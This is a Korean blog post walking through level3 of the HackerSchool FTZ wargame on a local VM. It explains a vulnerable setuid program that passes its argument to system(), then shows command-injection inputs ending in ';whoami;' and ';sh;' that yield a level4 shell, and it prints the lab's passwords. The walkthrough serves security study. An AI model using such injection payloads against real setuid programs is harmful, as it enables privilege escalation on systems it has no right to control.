[ftz] hackerschool level3 풀이
- 보안/HackerSchool-ftz
- 2019. 9. 29. 18:38
l hackerschool level3 풀이
실행 환경 : VMware Workstation 14 Player, Red Hat Linux 9.0
참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
login as: level3 level3@192.168.146.128's password: |
level3 문제의 아이디인 level3 와 password인 can you fly? 를 입력하여 level3의 유저로 접속합니다.
[level3@ftz level3]$ ls -l total 12 -rw-r--r-- 1 root root 543 Nov 26 2000 hint drwxr-xr-x 2 root level3 4096 Feb 24 2002 public_html drwxrwxr-x 2 root level3 4096 Jan 15 2009 tmp |
ls -l 명령어를 사용하여 현재 위치( /home/level3 ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[level3@ftz level3]$ cat hint 다음 코드는 autodig의 소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ printf( "Auto Digger Version 0.9\n" ); printf( "Usage : %s host\n", argv[0] ); exit(0); } strcpy( cmd, "dig @" ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt"); system( cmd ); } 이를 이용하여 level4의 권한을 얻어라. more hints. - 동시에 여러 명령어를 사용하려면? - 문자열 형태로 명령어를 전달하려면? |
cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
[level3@ftz level3]$ find / -user level4 -perm +4000 2>/dev/null /bin/autodig |
앞의 문제 풀이를 할 때와 마찬가지로 level4 권한의 setuid가 결려있는 파일을 찾았습니다.
[level3@ftz level3]$ ls -l /bin/autodig -rwsr-x--- 1 level4 level3 12194 Sep 10 2011 /bin/autodig |
실행파일을 확인해보면 setuid가 설정되어 있는 것을 볼 수 있고, 따라서 level3 사용자가 level4 사용자의 권한으로 파일을 실행시킬 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
|
cs |
코드를 분석해보도록 하겠습니다.
1 ~ 3줄 : 코드를 짜기 위해 필요한 헤더파일을 선언합니다. unistd.h는 유닉스 계열에서 사용하는 c언어 헤더 파일입니다.
7줄 : char 타입의 100byte cmd 배열을 선언합니다.
9 ~ 13줄 : 프로그램을 실행시키면서 전달해주는 인자의 개수가 2개가 아닐 경우 if문 안의 내용을 실행합니다.
15줄 : cmd배열에 dig @ 문자열을 복사합니다.
16줄 : cmd배열의 마지막 문자 뒤에 argv[1]의 내용을 덧붙입니다. 즉 15줄에 의해 cmd배열에는 "dig @"가 들어가 있고, @뒤에 argv[1]의 내용을 덧붙이는 것입니다.
17줄 : 16번째 줄과 마찬가지고 cmd의 마지막 문자 뒤에 " version.bind chaos txt"를 덧붙입니다.
18줄 : cmd의 내용을 실행합니다. system() 합수는 stdlib.h 헤더 파일에 있습니다.
결국 위의 명령어는 dig @뒤에 argv[1]의 내용을 덧붙이고, 그 뒤에 version.bind chaos txt를 덧붙여서 BIND 버전을 알아보는 것입니다.
그렇다면 /bin/autodig 168.126.63.1 을 입력했을 때의 결과와 dig @168.126.63.1 version.bind chaos txt 를 입력했을 때의 결과가 같은 결과가 나올 것입니다.
l argv와 argc
더보기
argc : 프로그램을 실행할 때 인자로 전달된 문자열 길이를 의미합니다. 예를 들어, ./autodig hello를 main함수의 인자로 넘겨준다면 argc의 경우 2가 됩니다. 처음 실행파일의 이름과 뒤에 같이 넘겨준 hello. 이렇게 두 개이기 때문입니다. ./autodig hello hi일 경우 argc는 3이 됩니다.
argv : 인자로 전달된 문자열을 의미합니다. ./autodig hello hi를 인자로 전달했다면 argv[0]은 autodig, argv[1]은 hello argv[2]는 hi가 되는 것입니다. |
l dig
더보기
dig 프로그램은 윈도우의 nslookup과 비슷한 프로그램입니다. 즉, 도메인을 입력할 경우 해당 도메인의 IP주소를 알 수 있습니다. dig @쿼리 할 DNS 서버의 IP주소 도메인 순서로 입력하면 아래와 같이 해당 도메인의 IP주소를 확인할 수 있습니다.
|
[level3@ftz level3]$ dig @168.126.63.1 version.bind chaos txt ; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21737 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "Cyber World Leader Kornet!" ;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind. ;; Query time: 9 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Tue Sep 24 01:57:40 2019 ;; MSG SIZE rcvd: 83 |
[level3@ftz level3]$ /bin/autodig 168.126.63.1 ; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46555 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "Cyber World Leader Kornet!" ;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind. ;; Query time: 50 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Tue Sep 24 01:50:19 2019 ;; MSG SIZE rcvd: 83 |
예상한 것과 같이 같은 결과를 확인할 수 있습니다.
이제 힌트를 사용하여 문제를 해결해보도록 하겠습니다.
1. 동시에 여러 명령어를 전달하려면? 유닉스 계열의 경우 세미콜론(;) 을 이용하게 되면 한 줄에 여러 번의 명령어를 실행할 수 있습니다. 즉 whoami;whoami 이렇게 명령할 경우 whoami의 결과가 두 번 출력되게 됩니다.
2. 문자열 형태로 명령어를 전달하려면? 문자열 형태로 전달하기 위해서는 인자 값을 " " 안에 넣어주면 됩니다.
[level3@ftz level3]$ /bin/autodig "168.126.63.1 www.naver.com;whoami;" ; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19676 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3 ;; QUESTION SECTION: ;www.naver.com. IN A ;; ANSWER SECTION: www.naver.com. 9775 IN CNAME www.naver.com.nheos.com. www.naver.com.nheos.com. 45 IN A 125.209.222.141 www.naver.com.nheos.com. 45 IN A 125.209.222.142 ;; AUTHORITY SECTION: nheos.com. 555 IN NS gns3.nheos.com. nheos.com. 555 IN NS gns2.nheos.com. nheos.com. 555 IN NS gns1.nheos.com. ;; ADDITIONAL SECTION: gns1.nheos.com. 15504 IN A 103.6.174.86 gns2.nheos.com. 20556 IN A 210.89.165.22 gns3.nheos.com. 13834 IN A 125.209.246.230 ;; Query time: 9 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Tue Sep 24 02:10:03 2019 ;; MSG SIZE rcvd: 202 level4 sh: line 1: version.bind: command not found |
위의 결과를 봤을 때 명령어의 실행순서가 아래와 같다는 것을 알 수 있습니다.
1. /bin/autodig 168.126.63.1 www.naver.com
2. whoami
3. version.bind chaos txt
[level3@ftz level3]$ /bin/autodig "168.126.63.1;sh;" 생략... sh-2.05b$ |
실행순서와 힌트를 참고하여 명령어를 구성했고, 그 결과 쉘 획득을 할 수 있었습니다. my-pass를 입력하게 될 시 level4로 넘어가는 비밀번호를 알 수 있습니다.
l level4 비밀번호
Level4 Password is "suck my brain".
'보안 > HackerSchool-ftz' 카테고리의 다른 글
[ftz] hackerschool level6 풀이 (0) | 2019.11.04 |
---|---|
[ftz] hackerschool level5 풀이 (0) | 2019.10.05 |
[ftz] hackerschool level4 풀이 (0) | 2019.10.03 |
[ftz] hackerschool level2 풀이 (0) | 2019.09.27 |
[ftz] hackerschool level1 풀이 (0) | 2019.09.25 |
이 글을 공유하기